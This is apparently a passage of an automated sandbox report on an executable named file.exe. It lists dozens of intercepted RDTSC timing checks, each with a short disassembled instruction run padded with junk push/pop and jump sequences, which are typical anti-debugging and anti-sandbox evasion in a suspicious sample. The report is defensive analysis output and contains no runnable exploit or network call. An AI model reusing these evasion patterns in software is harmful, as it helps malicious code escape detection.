Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AC71D second address: 11AC725 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11ACA48 second address: 11ACA4C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AB65C second address: 11AB660 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113228B second address: 1132295 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FBF08D33346h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B1610 second address: 11B1614 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116A19E second address: 1151D8A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF08D33350h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007FBF08D33355h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 jmp 00007FBF08D33350h 0x00000019 nop 0x0000001a mov dword ptr [ebp+122D346Dh], esi 0x00000020 call dword ptr [ebp+122D332Eh] 0x00000026 push eax 0x00000027 push eax 0x00000028 push edx 0x00000029 push edi 0x0000002a pop edi 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116A619 second address: 116A61F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116A61F second address: 116A625 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116A625 second address: 116A629 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116A629 second address: 116A64E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF08D33354h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jp 00007FBF08D33346h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116A64E second address: 116A654 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116AC00 second address: 116AC05 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116AF5C second address: 116AF62 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116AF62 second address: 116AF66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116AF66 second address: 116AF6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116AF6A second address: 116AFBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jnp 00007FBF08D33357h 0x0000000f jmp 00007FBF08D33351h 0x00000014 nop 0x00000015 sub ecx, 5475B3BAh 0x0000001b push 0000001Eh 0x0000001d xor edx, dword ptr [ebp+122D27C8h] 0x00000023 mov ecx, dword ptr [ebp+122D29F5h] 0x00000029 nop 0x0000002a push edx 0x0000002b jmp 00007FBF08D33351h 0x00000030 pop edx 0x00000031 push eax 0x00000032 pushad 0x00000033 push eax 0x00000034 push ebx 0x00000035 pop ebx 0x00000036 pop eax 0x00000037 push eax 0x00000038 push eax 0x00000039 push edx 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116B111 second address: 116B12D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF09325AC2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116B25A second address: 116B25E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116B3AC second address: 116B3B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116B3B0 second address: 116B3B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116B3B4 second address: 116B3BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116B3BA second address: 116B3C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116B3C1 second address: 116B3F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a add di, ECE3h 0x0000000f lea eax, dword ptr [ebp+1247FEE6h] 0x00000015 jmp 00007FBF09325AC1h 0x0000001a nop 0x0000001b push eax 0x0000001c push edx 0x0000001d jp 00007FBF09325AB8h 0x00000023 push ecx 0x00000024 pop ecx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116B3F2 second address: 116B40C instructions: 0x00000000 rdtsc 0x00000002 jng 00007FBF08D3334Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jg 00007FBF08D33346h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116B40C second address: 116B410 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B1ABE second address: 11B1AC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B1C53 second address: 11B1C5B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B1C5B second address: 11B1C61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B1C61 second address: 11B1C65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1132270 second address: 113228B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FBF08D33353h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B1DBB second address: 11B1DCC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007FBF09325AB6h 0x00000009 jbe 00007FBF09325AB6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B20B0 second address: 11B20B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B20B8 second address: 11B20C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B23AD second address: 11B23C3 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FBF08D3334Bh 0x0000000d push esi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B4A52 second address: 11B4A58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B7C5A second address: 11B7C5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B7C5E second address: 11B7C70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b pop eax 0x0000000c jnc 00007FBF09325AB6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B7C70 second address: 11B7C8C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF08D33356h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B773C second address: 11B7746 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FBF09325AB6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B7746 second address: 11B774F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BBE74 second address: 11BBEA6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FBF09325AC1h 0x0000000c jmp 00007FBF09325AC8h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BBEA6 second address: 11BBEC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jg 00007FBF08D3334Ch 0x0000000c jnl 00007FBF08D33346h 0x00000012 push eax 0x00000013 push edx 0x00000014 jno 00007FBF08D33346h 0x0000001a push eax 0x0000001b pop eax 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BF954 second address: 11BF95A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BF95A second address: 11BF97A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007FBF08D33359h 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BF97A second address: 11BF98F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FBF09325ABCh 0x00000008 push edx 0x00000009 pop edx 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BFC42 second address: 11BFC48 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BFC48 second address: 11BFC5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jbe 00007FBF09325AB6h 0x0000000e jp 00007FBF09325AB6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BFF15 second address: 11BFF1B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C01DD second address: 11C01F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c jng 00007FBF09325AB6h 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C01F0 second address: 11C01FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007FBF08D33346h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C01FC second address: 11C0200 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C7985 second address: 11C7989 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C6110 second address: 11C611E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007FBF09325AC2h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C611E second address: 11C612E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FBF08D33346h 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C62A4 second address: 11C62B9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FBF09325ABFh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C6990 second address: 11C6996 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116AE1B second address: 116AE56 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF09325AC1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a sub edi, dword ptr [ebp+122D26DFh] 0x00000010 push ecx 0x00000011 sbb edx, 7D917F00h 0x00000017 pop edi 0x00000018 push 00000004h 0x0000001a movzx ecx, ax 0x0000001d nop 0x0000001e push esi 0x0000001f push edi 0x00000020 pushad 0x00000021 popad 0x00000022 pop edi 0x00000023 pop esi 0x00000024 push eax 0x00000025 jnl 00007FBF09325AC0h 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C6C81 second address: 11C6C87 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C6C87 second address: 11C6C8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C6C8D second address: 11C6C93 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CD258 second address: 11CD272 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 pushad 0x0000000a popad 0x0000000b jc 00007FBF09325AB6h 0x00000011 pop edi 0x00000012 push eax 0x00000013 push edx 0x00000014 jl 00007FBF09325AB6h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CD272 second address: 11CD292 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF08D3334Ah 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c push edx 0x0000000d jp 00007FBF08D3334Ah 0x00000013 pushad 0x00000014 popad 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CD292 second address: 11CD29C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FBF09325AB6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CD41E second address: 11CD42A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FBF08D33346h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CD849 second address: 11CD84D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CD84D second address: 11CD866 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 jmp 00007FBF08D33350h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CDAEB second address: 11CDB14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c js 00007FBF09325AB6h 0x00000012 jmp 00007FBF09325AC3h 0x00000017 pop eax 0x00000018 push ebx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CDE25 second address: 11CDE4A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jnc 00007FBF08D33346h 0x0000000d jmp 00007FBF08D33351h 0x00000012 jnc 00007FBF08D33346h 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CE0B6 second address: 11CE0BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CEDD6 second address: 11CEDE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FBF08D33346h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jnl 00007FBF08D33346h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D8975 second address: 11D897A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D7B35 second address: 11D7B4A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FBF08D33350h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D7B4A second address: 11D7B54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D8052 second address: 11D807F instructions: 0x00000000 rdtsc 0x00000002 js 00007FBF08D33346h 0x00000008 jp 00007FBF08D33346h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 ja 00007FBF08D33359h 0x00000016 jmp 00007FBF08D33353h 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D807F second address: 11D8085 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D8085 second address: 11D8092 instructions: 0x00000000 rdtsc 0x00000002 js 00007FBF08D33346h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D8092 second address: 11D80C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jns 00007FBF09325ADCh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D80C6 second address: 11D80CF instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop ecx 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D83C6 second address: 11D83D4 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 js 00007FBF09325ABEh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E0835 second address: 11E0839 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E0839 second address: 11E083D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DE9F7 second address: 11DE9FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DEE5A second address: 11DEE67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FBF09325AB6h 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DF169 second address: 11DF16E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DF16E second address: 11DF190 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 pop eax 0x00000007 pop ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FBF09325AC8h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DF190 second address: 11DF194 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DF194 second address: 11DF1BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBF09325AC5h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push edx 0x00000011 pop edx 0x00000012 jbe 00007FBF09325AB6h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DF1BE second address: 11DF1C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DF1C3 second address: 11DF1C8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DF4AC second address: 11DF4BC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF08D3334Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DF4BC second address: 11DF4C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DF4C2 second address: 11DF4C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DF644 second address: 11DF66A instructions: 0x00000000 rdtsc 0x00000002 ja 00007FBF09325AC7h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f jl 00007FBF09325AB6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DF66A second address: 11DF66E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DF79C second address: 11DF7A1 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E001F second address: 11E002B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push edi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E3B0A second address: 11E3B27 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF09325ABBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jg 00007FBF09325ABCh 0x00000011 rdtsc
